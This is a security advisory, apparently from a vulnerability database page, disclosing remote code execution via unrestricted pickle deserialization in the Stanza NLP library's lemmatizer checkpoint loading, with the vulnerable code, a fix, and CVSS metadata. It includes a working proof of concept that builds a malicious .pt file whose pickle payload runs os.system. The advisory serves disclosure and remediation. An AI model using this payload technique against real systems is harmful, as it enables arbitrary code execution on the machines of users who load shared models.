GHSA-GH9R-C94J-CMP5

Vulnerability from github – Published: 2026-11-03 20:29 – Updated: 2026-11-03 20:29
VLAI
Summary
Stanza: RCE via pickle deserialization in the lemmatizer
Details

TL;DR

Loading an attacker-supplied lemma .pt runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores pos_dict as a gzip-compressed pickle in the checkpoint's dicts field (a bytes value). torch.load(weights_only=True) treats bytes as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. Trainer.load then feeds those bytes to an unrestricted pickle.loads: the only bare pickle.loads in the tree. Result: weights_only=True gives no protection here, and model loading executes code.

Confirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload __reduce__ returns (os.system, (cmd,)) ran the command at load time (marker file showed uid=501(...), executed_by=...).

A downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. stanza.Pipeline(lang=..., processors="tokenize,pos,lemma", lemma_model_path="<attacker-influenced .pt>") (or any equivalent load of an untrusted/shared lemma model through a custom registry) - since that call routes straight into Trainer.load -> _unpack_pos_dict and executes the embedded pickle at construction time.

The vulnerable path

stanza/models/lemma/trainer.py:

# _pack_pos_dict (write side): pos_dict -> pickle -> gzip -> bytes, stored under checkpoint['dicts']

def _unpack_pos_dict(data):                 # line 54
    buf = io.BytesIO(data)
    with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
        raw = gz.read()
    return pickle.loads(raw)                # <-- unrestricted default unpickler
def load(self, filename, ...):              # line 365
    checkpoint = torch.load(filename, ..., weights_only=True)   # outer allowlist; bytes pass through intact
    ...
    if dicts_version == _DICTS_VERSION_POS:                     # dicts_version == 2 (current format)
        self.pos_dict = _unpack_pos_dict(checkpoint['dicts'])   # line 378, no validation

Reachable from the documented API. stanza.Pipeline(..., lemma_model_path=<file>) -> LemmaProcessor._set_up_model -> Trainer(model_file=…) -> Trainer.load. Any shared/distributed checkpoint, custom registry, or caller-supplied lemma_model_path reaches it. No checksum is applied to caller-supplied paths (MD5 verification exists only in the default registry download flow). Trigger is at pipeline construction, before any inference input is processed.

Note: this is not the weights_only=False fallback fixed under CVE-2026-54499: the outer load stays safe; the exposure is entirely the inner pickle.

Minimal PoC

import gzip, io, os, pickle, tempfile, torch
from stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS

MARKER = os.path.join(tempfile.gettempdir(), "stanza_lemma_poc_pwned")

class Payload:
    def __reduce__(self):
        return (os.system, ("id > %s 2>&1; echo executed_by=$(whoami) >> %s" % (MARKER, MARKER),))

buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb") as gz:        # same shape as _pack_pos_dict()
    gz.write(pickle.dumps(Payload(), protocol=4))

ckpt = {"dicts": buf.getvalue(), "dicts_version": _DICTS_VERSION_POS}
pt = os.path.join(tempfile.gettempdir(), "evil_lemma.pt")
torch.save(ckpt, pt, _use_new_zipfile_serialization=False)

loaded = torch.load(pt, lambda s, l: s, weights_only=True)   # SUCCEEDS; dicts is bytes, intact
_unpack_pos_dict(loaded["dicts"])                            # == trainer.py:378 -> command runs
print("pwned:", open(MARKER).read().strip())

The PoC calls _unpack_pos_dict directly: the exact expression at trainer.py:378. Reaching it through stanza.Pipeline(...) additionally requires the crafted file to carry a well-formed config/vocab so load runs to line 378 (established by source review); the deserialization to execution step is confirmed at runtime.

Fix

Deserialize the inner stream with the RestrictedUnpickler the project already uses in stanza/models/common/doc.py (allowlists tuple/list/dict only):

from stanza.models.common.doc import RestrictedUnpickler

def _unpack_pos_dict(data):
    buf = io.BytesIO(data)
    with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
        raw = gz.read()
    return RestrictedUnpickler(io.BytesIO(raw)).load()

A legitimate pos_dict is a nested {pos: {word: lemma}} string mapping no class/function globals, so it loads cleanly, while any os.system-style payload is rejected by find_class. JSON would work equally well (all keys/values are strings) and remove pickle from this path entirely. Apply to both _unpack_pos_dict and, for forward compatibility, _pack_pos_dict.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "stanza"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.14.0"
            },
            {
              "fixed": "1.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.14.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-115878"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-03T20:29:16Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## TL;DR\n\nLoading an attacker-supplied lemma `.pt` runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores `pos_dict` as a gzip-compressed pickle in the checkpoint\u0027s `dicts` field (a `bytes` value). `torch.load(weights_only=True)` treats `bytes` as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. `Trainer.load` then feeds those bytes to an **unrestricted `pickle.loads`**: the only bare `pickle.loads` in the tree. Result: `weights_only=True` gives no protection here, and model loading executes code.\n\nConfirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload `__reduce__` returns `(os.system, (cmd,))` ran the command at load time (marker file showed `uid=501(...)`, `executed_by=...`).\n\nA downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. `stanza.Pipeline(lang=..., processors=\"tokenize,pos,lemma\", lemma_model_path=\"\u003cattacker-influenced .pt\u003e\")` (or any equivalent load of an untrusted/shared lemma model through a custom registry) - since that call routes straight into `Trainer.load` -\u003e `_unpack_pos_dict` and executes the embedded pickle at construction time.\n\n## The vulnerable path\n\n`stanza/models/lemma/trainer.py`:\n\n```python\n# _pack_pos_dict (write side): pos_dict -\u003e pickle -\u003e gzip -\u003e bytes, stored under checkpoint[\u0027dicts\u0027]\n\ndef _unpack_pos_dict(data):                 # line 54\n    buf = io.BytesIO(data)\n    with gzip.GzipFile(fileobj=buf, mode=\"rb\") as gz:\n        raw = gz.read()\n    return pickle.loads(raw)                # \u003c-- unrestricted default unpickler\n```\n\n```python\ndef load(self, filename, ...):              # line 365\n    checkpoint = torch.load(filename, ..., weights_only=True)   # outer allowlist; bytes pass through intact\n    ...\n    if dicts_version == _DICTS_VERSION_POS:                     # dicts_version == 2 (current format)\n        self.pos_dict = _unpack_pos_dict(checkpoint[\u0027dicts\u0027])   # line 378, no validation\n```\n\n**Reachable from the documented API.** `stanza.Pipeline(..., lemma_model_path=\u003cfile\u003e)` -\u003e `LemmaProcessor._set_up_model` -\u003e `Trainer(model_file=\u2026)` -\u003e `Trainer.load`. Any shared/distributed checkpoint, custom registry, or caller-supplied `lemma_model_path` reaches it. No checksum is applied to caller-supplied paths (MD5 verification exists only in the default registry download flow). Trigger is at pipeline construction, before any inference input is processed.\n\nNote: this is **not** the `weights_only=False` fallback fixed under CVE-2026-54499: the outer load stays safe; the exposure is entirely the inner pickle.\n\n## Minimal PoC\n\n```python\nimport gzip, io, os, pickle, tempfile, torch\nfrom stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS\n\nMARKER = os.path.join(tempfile.gettempdir(), \"stanza_lemma_poc_pwned\")\n\nclass Payload:\n    def __reduce__(self):\n        return (os.system, (\"id \u003e %s 2\u003e\u00261; echo executed_by=$(whoami) \u003e\u003e %s\" % (MARKER, MARKER),))\n\nbuf = io.BytesIO()\nwith gzip.GzipFile(fileobj=buf, mode=\"wb\") as gz:        # same shape as _pack_pos_dict()\n    gz.write(pickle.dumps(Payload(), protocol=4))\n\nckpt = {\"dicts\": buf.getvalue(), \"dicts_version\": _DICTS_VERSION_POS}\npt = os.path.join(tempfile.gettempdir(), \"evil_lemma.pt\")\ntorch.save(ckpt, pt, _use_new_zipfile_serialization=False)\n\nloaded = torch.load(pt, lambda s, l: s, weights_only=True)   # SUCCEEDS; dicts is bytes, intact\n_unpack_pos_dict(loaded[\"dicts\"])                            # == trainer.py:378 -\u003e command runs\nprint(\"pwned:\", open(MARKER).read().strip())\n```\n\nThe PoC calls `_unpack_pos_dict` directly: the exact expression at `trainer.py:378`. Reaching it through `stanza.Pipeline(...)` additionally requires the crafted file to carry a well-formed `config`/`vocab` so `load` runs to line 378 (established by source review); the deserialization to execution step is confirmed at runtime.\n\n## Fix\n\nDeserialize the inner stream with the `RestrictedUnpickler` the project already uses in `stanza/models/common/doc.py` (allowlists `tuple`/`list`/`dict` only):\n\n```python\nfrom stanza.models.common.doc import RestrictedUnpickler\n\ndef _unpack_pos_dict(data):\n    buf = io.BytesIO(data)\n    with gzip.GzipFile(fileobj=buf, mode=\"rb\") as gz:\n        raw = gz.read()\n    return RestrictedUnpickler(io.BytesIO(raw)).load()\n```\n\nA legitimate `pos_dict` is a nested `{pos: {word: lemma}}` string mapping no class/function globals, so it loads cleanly, while any `os.system`-style payload is rejected by `find_class`. JSON would work equally well (all keys/values are strings) and remove pickle from this path entirely. Apply to both `_unpack_pos_dict` and, for forward compatibility, `_pack_pos_dict`.",
  "id": "GHSA-gh9r-c94j-cmp5",
  "modified": "2026-11-03T20:29:16Z",
  "published": "2026-11-03T20:29:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/stanfordnlp/stanza/security/advisories/GHSA-gh9r-c94j-cmp5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stanfordnlp/stanza/pull/1649"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stanfordnlp/stanza/commit/b21e1c9b47b4fccff21d3b0a6c0687a19410c2f0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/stanfordnlp/stanza"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stanfordnlp/stanza/releases/tag/v1.15.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Stanza: RCE via pickle deserialization in the lemmatizer"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.